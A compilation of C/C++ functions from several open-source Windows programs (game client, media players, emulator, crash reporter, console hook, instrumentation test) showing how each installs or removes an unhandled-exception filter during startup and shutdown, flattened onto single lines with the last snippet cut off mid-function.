void CDebugMgr::EnableExceptionHandler() { if ( m_prevExceptionHandler ) return; m_prevExceptionHandler = SetUnhandledExceptionFilter(CDebugMgr::ExceptionHandler); }
void InstallSignalHandlers(const char *ProgramName) { gFPEPreviousFilter = SetUnhandledExceptionFilter(FpeHandler); }
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow) { PF_CONSOLE_INIT_ALL() // Set global handle gHInst = hInst; CCmdParser cmdParser(s_cmdLineArgs, arrsize(s_cmdLineArgs)); cmdParser.Parse(); bool doIntroDialogs = true; #ifndef PLASMA_EXTERNAL_RELEASE if (cmdParser.IsSpecified(kArgSkipLoginDialog)) doIntroDialogs = false; if (cmdParser.IsSpecified(kArgLocalData)) { gDataServerLocal = true; gSkipPreload = true; } if (cmdParser.IsSpecified(kArgSkipPreload)) gSkipPreload = true; #endif plFileName serverIni = "server.ini"; if (cmdParser.IsSpecified(kArgServerIni)) serverIni = plString::FromWchar(cmdParser.GetString(kArgServerIni)); // check to see if we were launched from the patcher bool eventExists = false; // we check to see if the event exists that the patcher should have created HANDLE hPatcherEvent = CreateEventW(nil, TRUE, FALSE, L"UruPatcherEvent"); if (hPatcherEvent != NULL) { // successfully created it, check to see if it was already created if (GetLastError() == ERROR_ALREADY_EXISTS) { // it already existed, so the patcher is waiting, signal it so the patcher can die SetEvent(hPatcherEvent); eventExists = true; } } #ifdef PLASMA_EXTERNAL_RELEASE // if the client was started directly, run the patcher, and shutdown STARTUPINFOW si; PROCESS_INFORMATION pi; memset(&si, 0, sizeof(si)); memset(&pi, 0, sizeof(pi)); si.cb = sizeof(si); const char** addrs; if (!eventExists) // if it is missing, assume patcher wasn't launched { plStringStream cmdLine; GetAuthSrvHostnames(&addrs); if (strlen(addrs[0])) cmdLine << " /AuthSrv=" << addrs[0]; GetFileSrvHostnames(&addrs); if (strlen(addrs[0])) cmdLine << " /FileSrv=" << addrs[0]; GetGateKeeperSrvHostnames(&addrs); if (strlen(addrs[0])) cmdLine << " /GateKeeperSrv=" << addrs[0]; if(!CreateProcessW(s_patcherExeName, (LPWSTR)cmdLine.GetString().ToUtf16().GetData(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { hsMessageBox("Failed to launch patcher", "Error", hsMessageBoxNormal); } CloseHandle( pi.hThread ); CloseHandle( pi.hProcess ); return PARABLE_NORMAL_EXIT; } #endif // Load an optional general.ini plFileName gipath = plFileName::Join(plFileSystem::GetInitPath(), "general.ini"); FILE *generalini = plFileSystem::Open(gipath, "rb"); if (generalini) { fclose(generalini); pfConsoleEngine tempConsole; tempConsole.ExecuteFile(gipath); } #ifdef PLASMA_EXTERNAL_RELEASE // If another instance is running, exit. We'll automatically release our // lock on the mutex when our process exits HANDLE hOneInstance = CreateMutex(nil, FALSE, "UruExplorer"); if (WaitForSingleObject(hOneInstance,0) != WAIT_OBJECT_0) { switch (plLocalization::GetLanguage()) { case plLocalization::kFrench: hsMessageBox("Une autre copie d'URU est déjà en cours d'exécution", "Erreur", hsMessageBoxNormal); break; case plLocalization::kGerman: hsMessageBox("URU wird bereits in einer anderen Instanz ausgeführt", "Fehler", hsMessageBoxNormal); break; case plLocalization::kSpanish: hsMessageBox("En estos momentos se está ejecutando otra copia de URU", "Error", hsMessageBoxNormal); break; case plLocalization::kItalian: hsMessageBox("Un'altra copia di URU è già aperta", "Errore", hsMessageBoxNormal); break; // default is English default: hsMessageBox("Another copy of URU is already running", "Error", hsMessageBoxNormal); break; } return PARABLE_NORMAL_EXIT; } #endif FILE *serverIniFile = plFileSystem::Open(serverIni, "rb"); if (serverIniFile) { fclose(serverIniFile); pfConsoleEngine tempConsole; tempConsole.ExecuteFile(serverIni); } else { hsMessageBox("No server.ini file found. Please check your URU installation.", "Error", hsMessageBoxNormal); return PARABLE_NORMAL_EXIT; } NetCliAuthAutoReconnectEnable(false); NetCommSetReadIniAccountInfo(!doIntroDialogs); InitNetClientComm(); curl_global_init(CURL_GLOBAL_ALL); bool needExit = false; LoginDialogParam loginParam; memset(&loginParam, 0, sizeof(loginParam)); LoadUserPass(&loginParam); if (!doIntroDialogs && loginParam.remember) { ENetError auth; wchar_t wusername[kMaxAccountNameLength]; StrToUnicode(wusername, loginParam.username, arrsize(wusername)); NetCommSetAccountUsernamePassword(wusername, loginParam.namePassHash); bool cancelled = AuthenticateNetClientComm(&auth, NULL); if (IS_NET_ERROR(auth) || cancelled) { doIntroDialogs = true; loginParam.authError = auth; if (cancelled) { NetCommDisconnect(); } } } if (doIntroDialogs) { needExit = ::DialogBoxParam( hInst, MAKEINTRESOURCE( IDD_URULOGIN_MAIN ), NULL, UruLoginDialogProc, (LPARAM)&loginParam ) <= 0; } if (doIntroDialogs && !needExit) { HINSTANCE hRichEdDll = LoadLibrary("RICHED20.DLL"); INT_PTR val = ::DialogBoxParam( hInst, MAKEINTRESOURCE( IDD_URULOGIN_EULA ), NULL, UruTOSDialogProc, (LPARAM)hInst); FreeLibrary(hRichEdDll); if (val <= 0) { DWORD error = GetLastError(); needExit = true; } } curl_global_cleanup(); if (needExit) { DeInitNetClientComm(); return PARABLE_NORMAL_EXIT; } NetCliAuthAutoReconnectEnable(true); // VERY VERY FIRST--throw up our splash screen HWND splashDialog = ::CreateDialog( hInst, MAKEINTRESOURCE( IDD_LOADING ), NULL, SplashDialogProc ); // Install our unhandled exception filter for trapping all those nasty crashes in release build #ifndef HS_DEBUGGING LPTOP_LEVEL_EXCEPTION_FILTER oldFilter; oldFilter = SetUnhandledExceptionFilter( plCustomUnhandledExceptionFilter ); #endif // // Set up to log errors by using hsDebugMessage // DebugInit(); DebugMsgF("Plasma 2.0.%i.%i - %s", PLASMA2_MAJOR_VERSION, PLASMA2_MINOR_VERSION, plProduct::ProductString().c_str()); for (;;) { // Create Window if (!WinInit(hInst, nCmdShow) || gClient->GetDone()) break; // We don't have multiplayer localized assets for Italian or Spanish, so force them to English in that case. /* if (!plNetClientMgr::GetInstance()->InOfflineMode() && (plLocalization::GetLanguage() == plLocalization::kItalian || plLocalization::GetLanguage() == plLocalization::kSpanish)) { plLocalization::SetLanguage(plLocalization::kEnglish); } */ // Done with our splash now ::DestroyWindow( splashDialog ); if (!gClient) break; // Show the main window ShowWindow(gClient->GetWindowHandle(), SW_SHOW); gHasMouse = GetSystemMetrics(SM_MOUSEPRESENT); // Be really REALLY forceful about being in the front BringWindowToTop( gClient->GetWindowHandle() ); // Update the window UpdateWindow(gClient->GetWindowHandle()); // // Init Application here // if( !gClient->StartInit() ) break; // I want it on top! I mean it! BringWindowToTop( gClient->GetWindowHandle() ); // initialize dinput here: if (gClient && gClient->GetInputManager()) gClient->GetInputManager()->InitDInput(hInst, (HWND)gClient->GetWindowHandle()); // Seriously! BringWindowToTop( gClient->GetWindowHandle() ); // // Main loop // MSG msg; do { gClient->MainLoop(); if( gClient->GetDone() ) break; // Look for a message while (PeekMessage( &msg, NULL, 0, 0, PM_REMOVE )) { // Handle the message TranslateMessage( &msg ); DispatchMessage( &msg ); } } while (WM_QUIT != msg.message); break; } // // Cleanup // if (gClient) { gClient->Shutdown(); // shuts down PhysX for us gClient = nil; } hsAssert(hsgResMgr::ResMgr()->RefCnt()==1, "resMgr has too many refs, expect mem leaks"); hsgResMgr::Shutdown(); // deletes fResMgr DeInitNetClientComm(); // Uninstall our unhandled exception filter, if we installed one #ifndef HS_DEBUGGING SetUnhandledExceptionFilter( oldFilter ); #endif // Exit WinMain and terminate the app.... // return msg.wParam; return PARABLE_NORMAL_EXIT; }
void installCrashHandler() { SetUnhandledExceptionFilter(ExceptionHandler); }
void win32_seh_init() { mono_old_win_toplevel_exception_filter = SetUnhandledExceptionFilter(seh_unhandled_exception_filter); mono_win_vectored_exception_handle = AddVectoredExceptionHandler (1, seh_vectored_exception_handler); }
void win32_seh_cleanup() { if (mono_old_win_toplevel_exception_filter) SetUnhandledExceptionFilter(mono_old_win_toplevel_exception_filter); }
void debug_set_exception_handler() { #ifdef _MSC_VER SetUnhandledExceptionFilter(Win32ExceptionHandler); #endif }
//----------------------------------------------------------------------------- // Name: WinMain() // Desc: The application's entry point //----------------------------------------------------------------------------- INT WINAPI WinMain( HINSTANCE hInst, HINSTANCE, LPSTR commandLine, INT ) { // set up some xbmc specific relationships XBMC::Context context; //this can't be set from CAdvancedSettings::Initialize() because it will overwrite //the loglevel set with the --debug flag #ifdef _DEBUG g_advancedSettings.m_logLevel = LOG_LEVEL_DEBUG; g_advancedSettings.m_logLevelHint = LOG_LEVEL_DEBUG; #else g_advancedSettings.m_logLevel = LOG_LEVEL_NORMAL; g_advancedSettings.m_logLevelHint = LOG_LEVEL_NORMAL; #endif CLog::SetLogLevel(g_advancedSettings.m_logLevel); // Initializes CreateMiniDump to handle exceptions. win32_exception::set_version(g_infoManager.GetVersion()); SetUnhandledExceptionFilter( CreateMiniDump ); // check if XBMC is already running CreateMutex(NULL, FALSE, "XBMC Media Center"); if(GetLastError() == ERROR_ALREADY_EXISTS) { HWND m_hwnd = FindWindow("XBMC","XBMC"); if(m_hwnd != NULL) { // switch to the running instance ShowWindow(m_hwnd,SW_RESTORE); SetForegroundWindow(m_hwnd); } return 0; } #ifndef HAS_DX if(CWIN32Util::GetDesktopColorDepth() < 32) { //FIXME: replace it by a SDL window for all ports MessageBox(NULL, "Desktop Color Depth isn't 32Bit", "XBMC: Fatal Error", MB_OK|MB_ICONERROR); return 0; } #endif //Initialize COM CoInitializeEx(NULL, COINIT_MULTITHREADED); // Handle numeric values using the default/POSIX standard setlocale(LC_NUMERIC, "C"); // If the command line passed to WinMain, commandLine, is not "" we need // to process the command line arguments. // Note that commandLine does not include the program name and can be // equal to "" if no arguments were supplied. By contrast GetCommandLineW() // does include the program name and is never equal to "". g_advancedSettings.Initialize(); if (strlen(commandLine) != 0) { int argc; LPWSTR* argvW = CommandLineToArgvW(GetCommandLineW(), &argc); CStdString* strargvA = new CStdString[argc]; const char** argv = (const char**) LocalAlloc(LMEM_FIXED, argc*sizeof(char*)); for (int i = 0; i < argc; i++) { g_charsetConverter.wToUTF8(argvW[i], strargvA[i]); argv[i] = strargvA[i].c_str(); } // Parse the arguments CAppParamParser appParamParser; appParamParser.Parse(argv, argc); // Clean up the storage we've used LocalFree(argvW); LocalFree(argv); delete [] strargvA; } // Initialise Winsock WSADATA wd; WSAStartup(MAKEWORD(2,2), &wd); // use 1 ms timer precision - like SDL initialization used to do timeBeginPeriod(1); #ifdef XBMC_TRACK_EXCEPTIONS try { #endif // Create and run the app if(!g_application.Create()) { MessageBox(NULL, "ERROR: Unable to create application. Exiting.", "XBMC: Error", MB_OK|MB_ICONERROR); return 1; } #ifdef XBMC_TRACK_EXCEPTIONS } catch (const XbmcCommons::UncheckedException &e) { e.LogThrowMessage("CApplication::Create()"); MessageBox(NULL, "ERROR: Unable to create application. Exiting.", "XBMC: Error", MB_OK|MB_ICONERROR); return 1; } catch (...) { CLog::Log(LOGERROR, "exception in CApplication::Create()"); MessageBox(NULL, "ERROR: Unable to create application. Exiting.", "XBMC: Error", MB_OK|MB_ICONERROR); return 1; } #endif #ifndef _DEBUG // we don't want to see the "no disc in drive" windows message box SetErrorMode(SEM_FAILCRITICALERRORS|SEM_NOOPENFILEERRORBOX); #endif #ifdef XBMC_TRACK_EXCEPTIONS try { #endif if (!g_application.CreateGUI()) { MessageBox(NULL, "ERROR: Unable to create GUI. Exiting.", "XBMC: Error", MB_OK|MB_ICONERROR); return 1; } #ifdef XBMC_TRACK_EXCEPTIONS } catch (const XbmcCommons::UncheckedException &e) { e.LogThrowMessage("CApplication::CreateGUI()"); MessageBox(NULL, "ERROR: Unable to create GUI. Exiting.", "XBMC: Error", MB_OK|MB_ICONERROR); return 1; } catch (...) { CLog::Log(LOGERROR, "exception in CApplication::CreateGUI()"); MessageBox(NULL, "ERROR: Unable to create GUI. Exiting.", "XBMC: Error", MB_OK|MB_ICONERROR); return 1; } #endif #ifdef XBMC_TRACK_EXCEPTIONS try { #endif if (!g_application.Initialize()) { MessageBox(NULL, "ERROR: Unable to Initialize. Exiting.", "XBMC: Error", MB_OK|MB_ICONERROR); return 1; } #ifdef XBMC_TRACK_EXCEPTIONS } catch (const XbmcCommons::UncheckedException &e) { e.LogThrowMessage("CApplication::Initialize()"); MessageBox(NULL, "ERROR: Unable to Initialize. Exiting.", "XBMC: Error", MB_OK|MB_ICONERROR); return 1; } catch (...) { CLog::Log(LOGERROR, "exception in CApplication::Initialize()"); MessageBox(NULL, "ERROR: Unable to Initialize. Exiting.", "XBMC: Error", MB_OK|MB_ICONERROR); return 1; } #endif g_application.Run(); // clear previously set timer resolution timeEndPeriod(1); // the end WSACleanup(); CoUninitialize(); return 0; }
void DllStop() { #if defined(SHOW_EXE_TIMINGS) || defined(SHOW_EXE_MSGBOX) wchar_t szTimingMsg[512]; UNREFERENCED_PARAMETER(szTimingMsg); HANDLE hTimingHandle = GetStdHandle(STD_OUTPUT_HANDLE); #endif print_timings(L"DllStop"); //gbDllStopCalled = TRUE; -- в конце #ifdef HOOK_USE_DLLTHREAD DllThreadClose(); #endif #ifdef _DEBUG wchar_t *szModule = (wchar_t*)calloc((MAX_PATH+1),sizeof(wchar_t)); if (!GetModuleFileName(NULL, szModule, MAX_PATH+1)) _wcscpy_c(szModule, MAX_PATH+1, L"GetModuleFileName failed"); const wchar_t* pszName = PointToName(szModule); //if (!lstrcmpi(pszName, L"mingw32-make.exe")) // GuiMessageBox(ghConEmuWnd, L"mingw32-make.exe terminating", L"ConEmuHk", MB_SYSTEMMODAL); free(szModule); #endif // 120528 - Очистить буфер от мышиных событий, иначе получаются казусы. // Если во время выполнения команды (например "dir c: /s") // успеть дернуть мышкой - то при возврате в ФАР сразу пойдет фаровский драг if (ghConWnd) { print_timings(L"FlushMouseEvents"); FlushMouseEvents(); } #ifdef USE_PIPE_SERVER if (gpHookServer) { print_timings(L"StopPipeServer"); gpHookServer->StopPipeServer(); free(gpHookServer); gpHookServer = NULL; } #endif #ifdef _DEBUG if (ghGuiClientRetHook) { print_timings(L"unhookWindowsHookEx"); user->unhookWindowsHookEx(ghGuiClientRetHook); } #endif if (/*!gbSkipInjects &&*/ gbHooksWasSet) { print_timings(L"ShutdownHooks"); gbHooksWasSet = FALSE; // Завершить работу с реестром DoneHooksReg(); // "Закрыть" хуки ShutdownHooks(); } //if (gnRunMode == RM_APPLICATION) //{ print_timings(L"SendStopped"); SendStopped(); //} if (gpConMap) { print_timings(L"gpConMap->CloseMap"); gpConMap->CloseMap(); gpConInfo = NULL; delete gpConMap; gpConMap = NULL; } //#ifndef TESTLINK print_timings(L"CommonShutdown"); CommonShutdown(); print_timings(L"FinalizeHookedModules"); FinalizeHookedModules(); #ifndef _DEBUG HeapDeinitialize(); #endif #ifdef _DEBUG #ifdef UseDebugExceptionFilter // ?gfnPrevFilter? // Вернуть. A value of NULL for this parameter specifies default handling within UnhandledExceptionFilter. SetUnhandledExceptionFilter(NULL); #endif #endif gbDllStopCalled = TRUE; print_timings(L"DllStop - Done"); }
INT main(INT argc, CHAR* argv[]) { #if defined(__WINDOWS__) SetUnhandledExceptionFilter(MyUnhandledExceptionFilter); _CrtSetDbgFlag(_CrtSetDbgFlag(0) | _CRTDBG_LEAK_CHECK_DF); #endif __ENTER_FUNCTION if( argc>1 ) { for( int i=1; i<argc; i++ ) { if( strcmp(argv[i],"-ignoreassert")==0 ) { g_Command_Assert=1 ; } else if( strcmp(argv[i],"-retryassert")==0 ) { g_Command_Assert=2 ; } if( strcmp(argv[i],"-ignoremessagebox")==0 ) { g_Command_IgnoreMessageBox=TRUE ; } if( strcmp(argv[i],"-singledb")==0 ) { g_SingleDBConnection=1; } } } //时间管理器 g_pTimeManager = new TimeManager; g_pTimeManager->Init(); g_pLog = new Log ; Assert( g_pLog ) ; BOOL ret = g_pLog->Init( ) ; Assert(ret) ; g_pLog->SaveLog(LOGIN_LOGFILE, "\r\n(###) main..." ) ; g_pTimeManager->SetTime( ) ; g_pLog->SaveLog(LOGIN_LOGFILE, "Login Starting... (%.10d)(%d)", g_pTimeManager->Time2DWORD(), g_pTimeManager->StartTime() ) ; srand(g_pTimeManager->CurrentTime()); BOOL bRet = g_Login.Init(); Assert(bRet); bRet = g_Login.Loop(); Assert(bRet); bRet = g_Login.Exit(); Assert(bRet); return 0; __LEAVE_FUNCTION return -1; }
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { int argc; /* VLC does not change the thread locale, so gettext/libintil will use the * user default locale as reference. */ /* gettext versions 0.18-0.18.1 will use the Windows Vista locale name * if the GETTEXT_MUI environment variable is set. If not set or if running * on Windows 2000/XP/2003 an hard-coded language ID list is used. This * putenv() call may become redundant with later versions of gettext. */ putenv("GETTEXT_MUI=1"); #ifdef TOP_BUILDDIR putenv("VLC_PLUGIN_PATH=Z:"TOP_BUILDDIR"/modules"); putenv("VLC_DATA_PATH=Z:"TOP_SRCDIR"/share"); #endif HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0); /* SetProcessDEPPolicy */ HINSTANCE h_Kernel32 = LoadLibraryW(L"kernel32.dll"); if(h_Kernel32) { BOOL (WINAPI * mySetProcessDEPPolicy)( DWORD dwFlags); BOOL (WINAPI * mySetDllDirectoryA)(const char* lpPathName); # define PROCESS_DEP_ENABLE 1 mySetProcessDEPPolicy = (BOOL WINAPI (*)(DWORD)) GetProcAddress(h_Kernel32, "SetProcessDEPPolicy"); if(mySetProcessDEPPolicy) mySetProcessDEPPolicy(PROCESS_DEP_ENABLE); /* Do NOT load any library from cwd. */ mySetDllDirectoryA = (BOOL WINAPI (*)(const char*)) GetProcAddress(h_Kernel32, "SetDllDirectoryA"); if(mySetDllDirectoryA) mySetDllDirectoryA(""); FreeLibrary(h_Kernel32); } /* Args */ wchar_t **wargv = CommandLineToArgvW (GetCommandLine (), &argc); if (wargv == NULL) return 1; char *argv[argc + 3]; BOOL crash_handling = TRUE; int j = 0; argv[j++] = FromWide( L"--media-library" ); argv[j++] = FromWide( L"--no-ignore-config" ); for (int i = 1; i < argc; i++) { if(!wcscmp(wargv[i], L"--no-crashdump")) { crash_handling = FALSE; continue; /* don't give argument to libvlc */ } argv[j++] = FromWide (wargv[i]); } argc = j; argv[argc] = NULL; LocalFree (wargv); if(crash_handling) { static wchar_t path[MAX_PATH]; if( S_OK != SHGetFolderPathW( NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, SHGFP_TYPE_CURRENT, path ) ) fprintf( stderr, "Can't open the vlc conf PATH\n" ); swprintf( path+wcslen( path ), L"%s", L"\\vlc\\crashdump" ); crashdump_path = &path[0]; check_crashdump(); SetUnhandledExceptionFilter(vlc_exception_filter); } _setmode( STDIN_FILENO, _O_BINARY ); /* Needed for pipes */ /* Initialize libvlc */ libvlc_instance_t *vlc; vlc = libvlc_new (argc, (const char **)argv); if (vlc != NULL) { libvlc_set_user_agent (vlc, "VLC media player", "VLC/"PACKAGE_VERSION); libvlc_add_intf (vlc, "globalhotkeys,none"); libvlc_add_intf (vlc, NULL); libvlc_playlist_play (vlc, -1, 0, NULL); libvlc_wait (vlc); libvlc_release (vlc); } for (int i = 0; i < argc; i++) free (argv[i]); (void)hInstance; (void)hPrevInstance; (void)lpCmdLine; (void)nCmdShow; return 0; }
int CCrashHandler::SetProcessExceptionHandlers(DWORD dwFlags) { crSetErrorMsg(_T("Unspecified error.")); // If 0 is specified as dwFlags, assume all handlers should be // installed if((dwFlags&0x1FF)==0) dwFlags |= 0x1FFF; if(dwFlags&CR_INST_STRUCTURED_EXCEPTION_HANDLER) { // Install top-level SEH handler m_oldSehHandler = SetUnhandledExceptionFilter(SehHandler); } _set_error_mode(_OUT_TO_STDERR); #if _MSC_VER>=1300 if(dwFlags&CR_INST_PURE_CALL_HANDLER) { // Catch pure virtual function calls. // Because there is one _purecall_handler for the whole process, // calling this function immediately impacts all threads. The last // caller on any thread sets the handler. // http://msdn.microsoft.com/en-us/library/t296ys27.aspx m_prevPurec = _set_purecall_handler(PureCallHandler); } if(dwFlags&CR_INST_NEW_OPERATOR_ERROR_HANDLER) { // Catch new operator memory allocation exceptions _set_new_mode(1); // Force malloc() to call new handler too m_prevNewHandler = _set_new_handler(NewHandler); } #endif #if _MSC_VER>=1400 if(dwFlags&CR_INST_INVALID_PARAMETER_HANDLER) { // Catch invalid parameter exceptions. m_prevInvpar = _set_invalid_parameter_handler(InvalidParameterHandler); } #endif #if _MSC_VER>=1300 && _MSC_VER<1400 if(dwFlags&CR_INST_SECURITY_ERROR_HANDLER) { // Catch buffer overrun exceptions // The _set_security_error_handler is deprecated in VC8 C++ run time library m_prevSec = _set_security_error_handler(SecurityHandler); } #endif // Set up C++ signal handlers if(dwFlags&CR_INST_SIGABRT_HANDLER) { #if _MSC_VER>=1400 _set_abort_behavior(_CALL_REPORTFAULT, _CALL_REPORTFAULT); #endif // Catch an abnormal program termination m_prevSigABRT = signal(SIGABRT, SigabrtHandler); } if(dwFlags&CR_INST_SIGILL_HANDLER) { // Catch illegal instruction handler m_prevSigINT = signal(SIGINT, SigintHandler); } if(dwFlags&CR_INST_TERMINATE_HANDLER) { // Catch a termination request m_prevSigTERM = signal(SIGTERM, SigtermHandler); } crSetErrorMsg(_T("Success.")); return 0; }
bool DolphinApp::OnInit() { InitLanguageSupport(); // Declarations and definitions bool UseDebugger = false; bool UseLogger = false; bool selectVideoBackend = false; bool selectAudioEmulation = false; wxString videoBackendName; wxString audioEmulationName; wxString userPath; #if wxUSE_CMDLINE_PARSER // Parse command lines wxCmdLineEntryDesc cmdLineDesc[] = { { wxCMD_LINE_SWITCH, "h", "help", "Show this help message", wxCMD_LINE_VAL_NONE, wxCMD_LINE_OPTION_HELP }, { wxCMD_LINE_SWITCH, "d", "debugger", "Opens the debugger", wxCMD_LINE_VAL_NONE, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_SWITCH, "l", "logger", "Opens the logger", wxCMD_LINE_VAL_NONE, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "e", "exec", "Loads the specified file (DOL,ELF,GCM,ISO,WAD)", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_SWITCH, "b", "batch", "Exit Dolphin with emulator", wxCMD_LINE_VAL_NONE, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "V", "video_backend", "Specify a video backend", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "A", "audio_emulation", "Low level (LLE) or high level (HLE) audio", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "m", "movie", "Play a movie file", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "U", "user", "User folder path", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_NONE, nullptr, nullptr, nullptr, wxCMD_LINE_VAL_NONE, 0 } }; // Gets the command line parameters wxCmdLineParser parser(cmdLineDesc, argc, argv); if (parser.Parse() != 0) { return false; } UseDebugger = parser.Found("debugger"); UseLogger = parser.Found("logger"); LoadFile = parser.Found("exec", &FileToLoad); BatchMode = parser.Found("batch"); selectVideoBackend = parser.Found("video_backend", &videoBackendName); selectAudioEmulation = parser.Found("audio_emulation", &audioEmulationName); playMovie = parser.Found("movie", &movieFile); if (parser.Found("user", &userPath)) { File::CreateFullPath(WxStrToStr(userPath) + DIR_SEP); File::GetUserPath(D_USER_IDX, userPath.ToStdString() + DIR_SEP); } #endif // wxUSE_CMDLINE_PARSER // Register message box and translation handlers RegisterMsgAlertHandler(&wxMsgAlert); RegisterStringTranslator(&wxStringTranslator); // "ExtendedTrace" looks freakin' dangerous!!! #ifdef _WIN32 EXTENDEDTRACEINITIALIZE("."); SetUnhandledExceptionFilter(&MyUnhandledExceptionFilter); #elif wxUSE_ON_FATAL_EXCEPTION wxHandleFatalExceptions(true); #endif #ifdef __APPLE__ if (floor(NSAppKitVersionNumber) < NSAppKitVersionNumber10_7) { PanicAlertT("Hi,\n\nDolphin requires Mac OS X 10.7 or greater.\n" "Unfortunately you're running an old version of OS X.\n" "The last Dolphin version to support OS X 10.6 is Dolphin 3.5\n" "Please upgrade to 10.7 or greater to use the newest Dolphin version.\n\n" "Sayonara!\n"); return false; } #endif // Copy initial Wii NAND data from Sys to User. File::CopyDir(File::GetSysDirectory() + WII_USER_DIR DIR_SEP, File::GetUserPath(D_WIIUSER_IDX)); File::CreateFullPath(File::GetUserPath(D_USER_IDX)); File::CreateFullPath(File::GetUserPath(D_CACHE_IDX)); File::CreateFullPath(File::GetUserPath(D_CONFIG_IDX)); File::CreateFullPath(File::GetUserPath(D_DUMPDSP_IDX)); File::CreateFullPath(File::GetUserPath(D_DUMPTEXTURES_IDX)); File::CreateFullPath(File::GetUserPath(D_GAMESETTINGS_IDX)); File::CreateFullPath(File::GetUserPath(D_GCUSER_IDX)); File::CreateFullPath(File::GetUserPath(D_GCUSER_IDX) + USA_DIR DIR_SEP); File::CreateFullPath(File::GetUserPath(D_GCUSER_IDX) + EUR_DIR DIR_SEP); File::CreateFullPath(File::GetUserPath(D_GCUSER_IDX) + JAP_DIR DIR_SEP); File::CreateFullPath(File::GetUserPath(D_HIRESTEXTURES_IDX)); File::CreateFullPath(File::GetUserPath(D_MAILLOGS_IDX)); File::CreateFullPath(File::GetUserPath(D_MAPS_IDX)); File::CreateFullPath(File::GetUserPath(D_SCREENSHOTS_IDX)); File::CreateFullPath(File::GetUserPath(D_SHADERS_IDX)); File::CreateFullPath(File::GetUserPath(D_STATESAVES_IDX)); File::CreateFullPath(File::GetUserPath(D_THEMES_IDX)); LogManager::Init(); SConfig::Init(); VideoBackend::PopulateList(); WiimoteReal::LoadSettings(); if (selectVideoBackend && videoBackendName != wxEmptyString) SConfig::GetInstance().m_LocalCoreStartupParameter.m_strVideoBackend = WxStrToStr(videoBackendName); if (selectAudioEmulation) { if (audioEmulationName == "HLE") SConfig::GetInstance().m_LocalCoreStartupParameter.bDSPHLE = true; else if (audioEmulationName == "LLE") SConfig::GetInstance().m_LocalCoreStartupParameter.bDSPHLE = false; } VideoBackend::ActivateBackend(SConfig::GetInstance().m_LocalCoreStartupParameter.m_strVideoBackend); // Enable the PNG image handler for screenshots wxImage::AddHandler(new wxPNGHandler); SetEnableAlert(SConfig::GetInstance().m_LocalCoreStartupParameter.bUsePanicHandlers); int x = SConfig::GetInstance().m_LocalCoreStartupParameter.iPosX; int y = SConfig::GetInstance().m_LocalCoreStartupParameter.iPosY; int w = SConfig::GetInstance().m_LocalCoreStartupParameter.iWidth; int h = SConfig::GetInstance().m_LocalCoreStartupParameter.iHeight; #ifdef _WIN32 if (File::Exists("www.dolphin-emulator.com.txt")) { File::Delete("www.dolphin-emulator.com.txt"); MessageBox(nullptr, L"This version of Dolphin was downloaded from a website stealing money from developers of the emulator. Please " L"download Dolphin from the official website instead: http://dolphin-emu.org/", L"Unofficial version detected", MB_OK | MB_ICONWARNING); ShellExecute(nullptr, L"open", L"http://dolphin-emu.org/?ref=badver", nullptr, nullptr, SW_SHOWDEFAULT); exit(0); } #endif // The following is not needed with X11, where window managers // do not allow windows to be created off the desktop. #ifdef _WIN32 // Out of desktop check int leftPos = GetSystemMetrics(SM_XVIRTUALSCREEN); int topPos = GetSystemMetrics(SM_YVIRTUALSCREEN); int width = GetSystemMetrics(SM_CXVIRTUALSCREEN); int height = GetSystemMetrics(SM_CYVIRTUALSCREEN); if ((leftPos + width) < (x + w) || leftPos > x || (topPos + height) < (y + h) || topPos > y) x = y = wxDefaultCoord; #elif defined __APPLE__ if (y < 1) y = wxDefaultCoord; #endif main_frame = new CFrame((wxFrame*)nullptr, wxID_ANY, StrToWxStr(scm_rev_str), wxPoint(x, y), wxSize(w, h), UseDebugger, BatchMode, UseLogger); SetTopWindow(main_frame); main_frame->SetMinSize(wxSize(400, 300)); // Postpone final actions until event handler is running. // Updating the game list makes use of wxProgressDialog which may // only be run after OnInit() when the event handler is running. m_afterinit = new wxTimer(this, wxID_ANY); m_afterinit->Start(1, wxTIMER_ONE_SHOT); return true; }
int main(int argc, char *argv[]) { double res = 0.; int i; #ifndef X64 int j; #endif char *buf; #ifdef LINUX stack_t sigstack; #endif #ifdef USE_DYNAMO dynamorio_app_init(); dynamorio_app_start(); #endif #ifdef LINUX /* our modrm16 tests clobber esp so we need an alternate stack */ sigstack.ss_sp = (char *) malloc(ALT_STACK_SIZE); sigstack.ss_size = ALT_STACK_SIZE; sigstack.ss_flags = SS_ONSTACK; i = sigaltstack(&sigstack, NULL); assert(i == 0); intercept_signal(SIGILL, (handler_3_t) signal_handler, true); intercept_signal(SIGSEGV, (handler_3_t) signal_handler, true); #else SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER) our_top_handler); #endif buf = allocate_mem(7*256+1, ALLOW_READ|ALLOW_WRITE|ALLOW_EXEC); assert(buf != NULL); #ifndef X64 print("Jumping to a sequence of every addr16 modrm byte\n"); for (j=0; j<256; j++) { int mod = ((j >> 6) & 0x3); /* top 2 bits */ int reg = ((j >> 3) & 0x7); /* middle 3 bits */ int rm = (j & 0x7); /* bottom 3 bits */ # if defined(LINUX) || defined(X64) buf[j*7 + 0] = 0x65; /* gs: */ # else buf[j*7 + 0] = 0x64; /* fs: */ # endif buf[j*7 + 1] = 0x67; /* addr16 */ buf[j*7 + 2] = 0x8b; /* load */ # ifdef WINDOWS /* Windows can't handle stack pointer being off */ if (reg == 4) { /* xsp 